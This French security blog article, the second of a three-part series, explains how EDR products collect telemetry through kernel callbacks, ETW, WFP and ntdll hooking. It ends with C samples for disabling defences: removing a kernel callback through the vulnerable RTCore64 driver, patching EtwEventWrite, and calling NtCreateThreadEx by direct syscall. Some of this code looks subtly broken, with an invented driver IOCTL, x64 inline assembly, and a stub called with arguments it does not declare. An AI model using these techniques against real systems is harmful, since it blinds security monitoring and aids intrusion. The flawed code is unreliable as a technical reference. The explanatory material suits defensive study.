Aller au contenu principal
Xsec

Composants Internes des EDR

Publié le 9 min de lecture

Mis à jour le

Sérieevasion
Partie 2 sur 3
Dans cette série32 min de lecture au total
  1. Composants internes de Windows
  2. Composants Internes des EDR
  3. Neutralisation d'EDR

Comprendre et Contourner les Systèmes Modernes de Détection et Réponse aux Points de Terminaison

ImportantRevue technique révisée

Cette édition 2025 est conservée comme point de comparaison historique. Ses diagrammes ont été remplacés par des infographies SVG corrigées, mais la réécriture sourcée faisant autorité est Internals EDR : architecture de télémétrie et limites de l’évasion.

Les systèmes Endpoint Detection and Response (EDR) sont devenus la pierre angulaire de l’infrastructure de sécurité moderne, fournissant des capacités avancées de détection de menaces et de réponse aux incidents. Cet article plonge dans le fonctionnement interne des solutions EDR, en se concentrant particulièrement sur leurs mécanismes de collecte de télémétrie.

Introduction à l’Architecture EDR

Les solutions EDR modernes emploient une architecture multicouche qui combine des composants en mode utilisateur et en mode noyau pour atteindre une visibilité et une protection complètes. L’architecture consiste typiquement en un pilote kernel pour la surveillance de bas niveau, des services en mode utilisateur pour l’analyse, et des composants cloud pour le partage de renseignements et les mises à jour.

Le pilote kernel EDR est responsable de la collecte de télémétrie depuis diverses sources au sein du système, de la surveillance des activités suspectes et de l’application des politiques de sécurité. Il interagit avec les mécanismes du noyau Windows pour obtenir une visibilité sur les opérations système sans impacter significativement les performances.

Télémétrie des Callbacks Kernel

L’un des principaux mécanismes que les EDR utilisent pour collecter la télémétrie est les callbacks kernel. Ces callbacks sont des pointeurs de fonction enregistrés qui sont appelés chaque fois que des événements système spécifiques se produisent. Explorons les divers types de callbacks kernel que les EDR exploitent typiquement.

Callbacks Kernel de Création de Processus

La surveillance de la création de processus est fondamentale pour la fonctionnalité EDR. Ces callbacks notifient les pilotes chaque fois qu’un processus est créé ou terminé sur le système, permettant aux EDR de collecter la télémétrie initiale sur les activités de création de processus potentiellement malveillantes.

Schéma technique
CALLBACK DE CRÉATION DE PROCESSUS: L'enregistrement et la livraison d'événement sont deux chemins distincts.TÉLÉMÉTRIE KERNEL · PROCESS MANAGERCALLBACK DE CRÉATION DE PROCESSUSL'enregistrement et la livraison d'événement sont deux chemins distincts.MODE UTILISATEURMODE NOYAUenregistreroutine stockéeDÉCLENCHEURCréer un processusThread créateurINIT PILOTEPilote EDRImage kernel signéeENREGISTREMENTPsSetCreateProcessNotifyRoutineExCallback ajouté une foisÉVÉNEMENTProcess ManagerChemin de créationDISPATCHNotify routinesPASSIVE_LEVELCALLBACK EDRCorréler la télémétrieObserver ou définirCreationStatusDONNÉES LIVRÉES · PEPROCESS · PID PROCESSUS · PID PARENT · TID CRÉATEUR · IMAGE · LIGNE DE COMMANDE
Chemin documenté du process-notify. Contrairement à une notification passive, le callback Ex peut refuser la création via CreationStatus.Lecture du schémaLe chemin pointillé supérieur représente l'enregistrement unique du pilote ; le chemin inférieur, la livraison de chaque événement processus. PASSIVE_LEVEL décrit les contraintes d'exécution et le contexte du thread créateur indique où le callback s'exécute : aucun des deux ne prouve une intention sans corrélation.

La télémétrie collectée inclut la structure EPROCESS du processus créé, l’ID de processus (PID), et une structure PPS_CREATE_NOTIFY_INFO contenant des informations critiques telles que l’ID du processus parent, le nom du fichier image, les arguments de ligne de commande, et l’ID du thread créateur. Les EDR exploitent ces informations pour détecter les modèles de création de processus suspects, les relations parent-enfant et les paramètres de ligne de commande indicatifs d’activité malveillante.

Callbacks Kernel de Création de Thread

La surveillance de la création de threads complète la surveillance des processus en fournissant une visibilité sur l’exécution du code au sein des processus. Les EDR enregistrent des callbacks de création de threads pour détecter des techniques comme l’injection de thread distant.

Schéma technique
SIGNAL DE CYCLE DE VIE D'UN THREAD: Un notify callback est une primitive de corrélation, pas un verdict d'injection.TÉLÉMÉTRIE KERNEL · THREAD MANAGERSIGNAL DE CYCLE DE VIE D'UN THREADUn notify callback est une primitive de corrélation, pas un verdict d'injection.MODE UTILISATEURMODE NOYAUroutine enregistréecontexteDÉCLENCHEURCréer un threadLocal ou distantENREGISTREMENTPsSetCreateThreadNotifyRoutine[Ex]Initialisation piloteÉVÉNEMENTThread ManagerCréation · finDONNÉES CALLBACKProcessId · ThreadIdCreate = TRUE/FALSECONTEXTE D'EXÉCUTIONThread créateurÀ la créationCORRÉLATION EDRHypothèse d'injectionAutres signaux requisUNE DÉTECTION FIABLE EXIGE UNE CORRÉLATION · CONTEXTE CRÉATEUR · HANDLES · MÉMOIRE · CALL STACK
Le callback classique reçoit ProcessId, ThreadId et Create. Il ne reçoit ni structure ETHREAD ni champ processus source.Lecture du schémaLe callback identifie le processus cible, le nouveau thread et l'état création ou fin. Le contexte créateur ajoute une provenance, mais l'injection distante reste une hypothèse tant que des preuves de handle, mémoire, adresse de départ ou call stack ne la corroborent pas.

La télémétrie collectée inclut la structure ETHREAD, l’ID de processus du processus créateur et l’ID de thread du thread nouvellement créé. Ces informations aident les EDR à détecter les techniques d’injection de threads couramment utilisées dans les attaques living-off-the-land et les opérations de malware sans fichier.

Callbacks Kernel de Chargement d’Image

Les callbacks de chargement d’image notifient les pilotes chaque fois qu’un fichier PE (exécutable, DLL ou pilote) est chargé en mémoire. Cela fournit aux EDR une visibilité sur les modules de code introduits dans les processus.

Schéma technique
NOTIFICATION DE CHARGEMENT D'IMAGE: La notification arrive après le mapping et avant l'exécution du point d'entrée.TÉLÉMÉTRIE KERNEL · MAPPING D'IMAGENOTIFICATION DE CHARGEMENT D'IMAGELa notification arrive après le mapping et avant l'exécution du point d'entrée.MODE UTILISATEURMODE NOYAUREQUÊTELoadLibraryEXE · DLLLOADERMapper l'imageSection imageÉTATImage mappéeEntrypoint non exécutéNOTIFYCallbacks dechargementPASSIVE_LEVELEDREnrichir+ scorerHash · signer · pathLIMITE SÉMANTIQUECallback VOIDaucun retour Allow/DenyLe blocage exige un autre contrôleDONNÉES CALLBACK · NOM COMPLET (OPTIONNEL) · PROCESS ID · BASE · TAILLE · FLAGS
PLOAD_IMAGE_NOTIFY_ROUTINE retourne void. Il observe le mapping mais ne peut pas renvoyer directement Allow ou Deny.Lecture du schémaLa frontière essentielle est temporelle : le mapping existe déjà quand la notification est livrée, mais son point d'entrée n'a pas encore été exécuté. Le callback rapporte cette transition ; l'enrichissement de réputation et une éventuelle terminaison relèvent d'autres contrôles.

La télémétrie collectée inclut le chemin complet de l’image chargée, l’ID du processus dans lequel l’image est chargée, et l’adresse de base et la taille de l’image chargée en mémoire. Les EDR utilisent ces informations pour détecter le chargement de DLL suspectes, de pilotes non signés ou de modules malveillants connus.

Callbacks Kernel d’Opérations sur le Registre

Les callbacks d’opérations sur le registre fournissent une visibilité sur les modifications du registre Windows, qui est un mécanisme de persistence commun pour les malwares.

Schéma technique
CHEMIN DE FILTRAGE DU REGISTRE: Les appels user-mode et kernel-mode convergent vers le Configuration Manager.TÉLÉMÉTRIE KERNEL · CONFIGURATION MANAGERCHEMIN DE FILTRAGE DU REGISTRELes appels user-mode et kernel-mode convergent vers le Configuration Manager.APPELANTSCHEMIN REGISTRE KERNELstatutUSER MODEAPI Reg*Create · set · queryKERNEL MODERoutines Zw*Appelant piloteDISPATCHConfigurationManagerOpération typéePRE-NOTIFYRegistryCallbackInspecter · bloquerModifierPOST-NOTIFYRegistryCallbackObserver le résultatOPÉRATIONRuche registreExécuter si autoriséEDRCorrélerAlerterDONNÉES SPÉCIFIQUES · KEY OBJECT · VALUE NAME · DATA · CONTEXTE PROCESS/THREAD · STATUT
CmRegisterCallbackEx enregistre une routine recevant des notifications pre/post typées par REG_NOTIFY_CLASS.Lecture du schémaLes deux chemins d'appel convergent vers le même manager. Une pre-notification peut influencer une opération supportée avant son exécution ; la post-notification rapporte le statut obtenu. Les champs et modifications possibles dépendent du REG_NOTIFY_CLASS exact, pas d'un schéma registre universel.

Ces callbacks suivent les opérations telles que la lecture, l’écriture, la suppression ou l’interrogation des clés de registre. La télémétrie inclut le chemin complet de la clé de registre, l’ID de processus et l’ID de thread du processus effectuant l’opération, et les détails sur l’opération demandée. Les EDR analysent ces données pour détecter les techniques de persistence communes des malwares, les tentatives d’escalade de privilèges et les activités d’évasion de défense.

Callbacks Kernel d’Opérations sur les Objets

Les callbacks d’opérations sur les objets fournissent des notifications sur les opérations de handle sur les objets processus et thread, ce qui est crucial pour détecter les tentatives d’escalade de privilèges et de dumping d’identifiants.

Schéma technique
CONTRÔLE DES HANDLES PROCESS / THREAD: Les object callbacks interviennent sur la création et la duplication de handles.TÉLÉMÉTRIE KERNEL · OBJECT MANAGERCONTRÔLE DES HANDLES PROCESS / THREADLes object callbacks interviennent sur la création et la duplication de handles.MODE UTILISATEURMODE NOYAUrestreindreSOURCEOpenProcess /DuplicateHandleAccès demandéSYSTEM CALLObject ManagerOpération handlePRE-OPCallback EDRInspecter la requêteACTION SUPPORTÉEDesiredAccess &= allowed_maskRetirer des droits, jamais en ajouterRÉSULTATHandleDroits réduitsPOST-OPTélémétrieStatut finalPRE-OP · TYPE D'OBJET · CREATE/DUPLICATE · ACCÈS ORIGINAL · DESIRED ACCESS MODIFIABLE · KERNEL HANDLE
ObjectPreCallback doit retourner OB_PREOP_SUCCESS. La protection retire des droits supportés de DesiredAccess ; elle ne renvoie pas Deny.Lecture du schémaDesiredAccess représente l'ensemble des capacités demandées pour le futur handle. Le pre-callback peut retirer des bits supportés avant son émission : l'ouverture peut réussir tout en produisant un handle incapable d'écrire en mémoire, de créer un thread ou d'exécuter une autre action protégée.

Ces callbacks collectent la télémétrie telle que les ID de processus cible et source, les droits d’accès demandés et l’ID du thread initiant la création ou duplication de handle. Les EDR utilisent ces informations pour empêcher les tentatives d’accès aux processus sensibles, telles que celles ciblant LSASS pour le dumping d’identifiants.

Callbacks Kernel d’Opérations sur le Système de Fichiers

Les callbacks minifilter du système de fichiers fournissent aux EDR une visibilité sur les opérations de fichiers, ce qui est essentiel pour détecter les ransomwares (par ex.), l’exfiltration de données et les modifications de fichiers malveillantes.

Schéma technique
PILE I/O DES MINIFILTERS: L'altitude, et non le nom du produit, détermine l'ordre des callbacks.TÉLÉMÉTRIE KERNEL · FILTER MANAGERPILE I/O DES MINIFILTERSL'altitude, et non le nom du produit, détermine l'ordre des callbacks.UN VOLUME · INSTANCES MINIFILTER ORDONNÉESPOST-OP · LOW → HIGHPRE-OP · HIGH → LOWORIGINERequête I/OCreate · read · writeROUTEURFltMgr.sysOpérations inscritesALTITUDE HAUTEMinifilter APre premierPost dernierALTITUDE BASSEMinifilter BPre après · post avantSTOCKAGEFile systemTerminer l'opérationCOMPLÉTIONStatut · octetsMétadonnéesChemin retourPRE-OP PEUT LAISSER PASSER · DEMANDER UN POST-OP · PENDRE · SYNCHRONISER · OU TERMINER L'I/O
FltMgr appelle les pre-operation de la plus haute à la plus basse altitude ; le retour post-operation suit l'ordre inverse.Lecture du schémaLe chemin supérieur suit la requête : les instances de haute altitude s'exécutent avant les plus basses. Le chemin inférieur suit la complétion : les post-operation remontent dans l'ordre inverse. Seules les opérations enregistrées par chaque minifilter participent à ce trajet.

Ces callbacks collectent la télémétrie sur le type d’opération du système de fichiers, les ID de processus et de thread, et le chemin et la taille du fichier impliqué. Les EDR analysent ces données pour détecter les activités de fichiers suspectes telles que le chiffrement de masse (ransomware), l’accès aux fichiers sensibles ou la création de fichiers malveillants.

Télémétrie ETW

Event Tracing for Windows (ETW) est une autre source de télémétrie cruciale pour les EDR. ETW fournit un mécanisme de traçage à l’échelle du système qui permet la surveillance des activités en mode utilisateur et en mode noyau avec un impact minimal sur les performances.

Schéma technique
FLUX D'UNE SESSION ETW: Le contrôleur configure ; les providers écrivent ; les consumers lisent.TÉLÉMÉTRIE SYSTÈME · EVENT TRACING FOR WINDOWSFLUX D'UNE SESSION ETWLe contrôleur configure ; les providers écrivent ; les consumers lisent.PLAN DE CONTRÔLEPLAN DE DONNÉES ÉVÉNEMENTconfigureactivegèreécritlitCONTRÔLEURService EDRDémarrer sessionActiver providersTRACE SESSIONPolicy + buffer poolLevel · keywords · modePROVIDERSApplicationsComposants systèmeUser mode · kernelBUFFERS SESSIONFlux ordonnéTemps réel et/ou ETLCONSUMERService EDRDécoder · filtrerANALYTIQUECorrélerDétection · alerteEVENT RECORD · IDENTIFIANTS PROVIDER / ÉVÉNEMENT / ACTIVITÉ · LEVEL · KEYWORD · TIMESTAMP · PID/TID · PAYLOAD
Le contrôleur appartient au plan de contrôle, pas au flux d'événements. Les providers écrivent dans les buffers lus en temps réel ou via ETL.Lecture du schémaLe plan supérieur configure les providers, classes d'événements, buffers et modes de livraison de la session. Le plan inférieur transporte les données : les providers écrivent les enregistrements dans les buffers et les consumers les lisent. Un même service peut tenir les deux rôles sans faire du contrôleur un relais d'événements.

Les fournisseurs ETW émettent des événements qui contiennent des données structurées sur des activités spécifiques. Les EDR exploitent ces événements pour surveiller les activités suspectes telles que l’exécution de scripts PowerShell en plus du module de script AMSI, le chargement d’assemblages .NET en plus du module .net AMSI, et d’autres techniques living-off-the-land. Chaque fournisseur génère des événements avec des ID et propriétés uniques que les EDR peuvent filtrer et analyser pour détecter les modèles malveillants.

Télémétrie Réseau

La télémétrie réseau est essentielle pour détecter les communications de commande et contrôle, l’exfiltration de données et les tentatives de mouvement latéral.

Schéma technique
CHEMIN DE CLASSIFICATION WFP: Un filtre correspondant invoque éventuellement un callout à une couche WFP.TÉLÉMÉTRIE RÉSEAU · WINDOWS FILTERING PLATFORMCHEMIN DE CLASSIFICATION WFPUn filtre correspondant invoque éventuellement un callout à une couche WFP.POLITIQUE / GESTIONCLASSIFICATION KERNELgèrefiltresmatchclasseSERVICE EDRPolicy providerAjouter filtres + contexteBFEPolitique filtresConfiguration persistanteTRAFICSocket / flowPacket · streamALESHIMPile TCP/IPExtraireles conditionsCOUCHEFilter engineClasser + arbitrerOPTIONNELCallout EDRInspecter · annoterACTIONPermettreou bloquerDécisionCHEMINRéseauContinuerLES MÉTADONNÉES ALE LIENT LE FLUX AU PROCESSUS · APPLICATION · UTILISATEUR · ADRESSES · PORTS · PROTOCOLE
Un shim amène le trafic à une couche WFP ; le filter engine évalue les conditions et peut invoquer le callout EDR avant d'appliquer l'action.Lecture du schémaLa couche est un point d'observation, le filtre exprime une politique à ce point et le callout est du code spécialisé optionnel sélectionné par un filtre correspondant. Les métadonnées et le pouvoir du callout sont donc bornés par la couche d'invocation et les règles d'arbitrage WFP.

Les EDR exploitent typiquement la Windows Filtering Platform (WFP) pour intercepter et analyser le trafic réseau. WFP fournit un ensemble d’API et de mécanismes de filtrage qui permettent aux produits de sécurité de surveiller et contrôler le trafic réseau à diverses couches de la pile réseau. Les EDR enregistrent des callouts qui sont invoqués lorsque le trafic réseau correspond à des conditions spécifiques, leur permettant de collecter la télémétrie sur les connexions suspectes, les transferts de données et les anomalies de protocole.

Télémétrie d’API Hookées

Le hooking d’API est une technique utilisée par les EDR pour surveiller et intercepter les appels de fonction effectués par les applications, fournissant une visibilité sur les comportements potentiellement malveillants.

Schéma technique
CHEMIN D'UN APPEL NTDLL HOOKÉ: Un detour ajoute un point d'observation avant le chemin syscall original.TÉLÉMÉTRIE USER-MODE · INLINE DETOURCHEMIN D'UN APPEL NTDLL HOOKÉUn detour ajoute un point d'observation avant le chemin syscall original.MODE UTILISATEURMODE NOYAUévénementAPPELANTApplicationNtCreateThreadExEXPORTEntrée ntdllPrologue patchéDETOURHook EDRInspecter + émettreTRAMPOLINEOctetsoriginauxReprendre l'exécutionTRANSITIONStub syscallIdentifiant propreau buildSORTIE CAPTEURFile locale → service EDRSpécifique au produitSERVICE SYSTÈMEExécution kernelSIGNAUX USER-MODE POSSIBLES · PARAMÈTRES · VALEUR RETOUR · CALL STACK · MODULE APPELANT · INTÉGRITÉ MÉMOIRE
C'est un pattern courant, pas un contrat universel des EDR. Un syscall direct saute seulement ce detour user-mode ; les autres capteurs restent actifs.Lecture du schémaLe detour observe les appels qui traversent l'export patché ; le trampoline rejoue ensuite les instructions déplacées et rejoint le stub normal. Contourner cet export retire ce point d'observation, pas l'opération kernel ni les changements d'état indépendamment observables qu'elle peut produire.

Les EDR hookent typiquement les API Windows critiques, particulièrement dans le module NTDLL.DLL, pour surveiller les activités suspectes. Le processus de hooking implique de modifier le point d’entrée de la fonction pour rediriger l’exécution vers le code de surveillance de l’EDR avant de passer le contrôle à la fonction originale. Cela permet aux EDR de collecter une télémétrie détaillée sur les paramètres d’API, les valeurs de retour et les piles d’appels, ce qui peut révéler une intention malveillante même lorsque des API Windows légitimes sont utilisées à des fins néfastes.

Contournement de la Détection EDR

Comprendre le fonctionnement interne des EDR fournit des aperçus sur les techniques d’évasion potentielles. Cependant, il est important de noter que ces techniques ne doivent être utilisées que dans des scénarios de tests de sécurité légitimes avec autorisation appropriée.

Schéma technique
ÉVASION ≠ INVISIBILITÉ: Chaque bypass vise un chemin de collecte ; des contrôles indépendants voient encore le comportement.MODÈLE RED TEAM · COUVERTURE CAPTEURSÉVASION ≠ INVISIBILITÉChaque bypass vise un chemin de collecte ; des contrôles indépendants voient encore le comportement.VISIBILITÉ CIBLÉEANGLE MORT TENTÉVISIBILITÉ / CONTRÔLE RÉSIDUELHOOKS USER-MODEDetours ntdllBYPASSUnhook / syscall directENCORE VISIBLECallbacks · ETW · WFP · mémoireCHEMIN ETW LOCALÉcriture providerBYPASSPatcher un seul processusENCORE VISIBLEKernel / autres providers · intégritéCALLBACK KERNELNotify routineBYPASSPrimitive d'écriture kernelRISQUE / CONTRÔLEIntégrité · crash · télémétrieCONFIANCE KERNELPolitique pilotes signésATTAQUEPilote signé vulnérableMITIGATIONHVCI · blocklist · App ControlRÈGLE DE VALIDATION · NOMMER LE CAPTEUR · TESTER LE BUILD CIBLE · MESURER LES SIGNAUX RÉSIDUELS · INTÉGRITÉ
Le modèle utile relie la technique au capteur précisément affecté, puis inventorie la visibilité résiduelle et les mitigations plateforme.Lecture du schémaChaque ligne se lit de gauche à droite : identifier le capteur visé, formuler précisément l'angle mort tenté, puis mesurer les signaux et contrôles restants. La colonne centrale ne démontre jamais à elle seule une invisibilité globale de l'endpoint.

Diverses techniques peuvent être employées pour contourner la détection EDR, de la suppression de callbacks kernel en utilisant des pilotes vulnérables à la modification de fournisseurs ETW et au unhooking d’API. Les techniques d’évasion avancées impliquent l’utilisation d’appels système directs pour contourner le hooking en mode utilisateur ou l’exploitation de pilotes signés vulnérables pour effectuer des opérations en mode noyau qui peuvent désactiver les mécanismes de sécurité.

Exemple de code de Suppression de Callback de Création de Processus

/* Suppression de Callback de Création de Processus via Pilote Vulnérable */
#include <windows.h>
#include <stdio.h>
#define VULN_DRIVER_DEVICE L"\\\\.\\RTCore64"
#define IOCTL_REMOVE_CALLBACK 0x8000204C
typedef struct _CALLBACK_REMOVE_REQUEST {
DWORD64 CallbackAddress;
} CALLBACK_REMOVE_REQUEST;
BOOL RemoveProcessCallback(DWORD64 callbackAddress) {
HANDLE hDevice = CreateFileW(VULN_DRIVER_DEVICE, GENERIC_READ | GENERIC_WRITE,
0, NULL, OPEN_EXISTING, 0, NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Erreur d'ouverture du pilote : %d\n", GetLastError());
return FALSE;
}
CALLBACK_REMOVE_REQUEST request = { callbackAddress };
DWORD bytesReturned;
BOOL result = DeviceIoControl(hDevice, IOCTL_REMOVE_CALLBACK, &request,
sizeof(request), NULL, 0, &bytesReturned, NULL);
CloseHandle(hDevice);
return result;
}
int main() {
// Obtenir l'adresse du callback cible via débogage kernel ou scan de pattern
DWORD64 targetCallback = 0xFFFFF80041789870; // Exemple de callback WdFilter.sys
if (RemoveProcessCallback(targetCallback)) {
printf("Callback de création de processus supprimé avec succès\n");
} else {
printf("Échec de la suppression du callback\n");
}
return 0;
}

Exemple de code de Patching de Fournisseurs ETW

/* Contournement ETW via Patching Mémoire */
#include <windows.h>
#pragma comment(lib, "ntdll.lib")
EXTERN_C NTSTATUS NTAPI NtProtectVirtualMemory(
HANDLE ProcessHandle, PVOID* BaseAddress,
SIZE_T* Size, ULONG NewProtect, PULONG OldProtect);
void DisableETWTracing() {
HMODULE ntdll = GetModuleHandleA("ntdll.dll");
PVOID etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
DWORD oldProtect;
SIZE_T size = 1;
NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
PAGE_EXECUTE_READWRITE, &oldProtect);
*(BYTE*)etwAddr = 0xC3;
NtProtectVirtualMemory(GetCurrentProcess(), &etwAddr, &size,
oldProtect, &oldProtect);
}
int main() {
DisableETWTracing();
// Les événements liés à ETW seront maintenant supprimés
return 0;
}

Exemple de code d’Appels Système Directs

/* Implémentation d'Appel Système Direct pour NtCreateThreadEx */
#include <windows.h>
typedef NTSTATUS (NTAPI* PNtCreateThreadEx)(
PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess,
POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle,
PVOID StartRoutine, PVOID Argument, ULONG CreateFlags,
SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize,
PVOID AttributeList);
DECLSPEC_NAKED NTSTATUS DirectNtCreateThreadEx() {
__asm {
mov r10, rcx
mov eax, 0xC3 // Numéro de syscall pour NtCreateThreadEx
syscall
ret
}
}
void CreateThreadEvasion() {
HANDLE hThread;
DirectNtCreateThreadEx(&hThread, GENERIC_ALL, NULL,
GetCurrentProcess(), MyThreadFunc,
NULL, 0, 0, 0, 0, NULL);
}

Références

TitreURL
Livre Windows Internals Partie 1https://empyreal96.github.io/nt-info-depot/Windows-Internals-PDFs/Windows%20System%20Internals%207e%20Part%201.pdf
Diapositives du Cours Evasion Lab (Altered Security)https://www.alteredsecurity.com/evasionlab
Utiliser avec une IA

Actions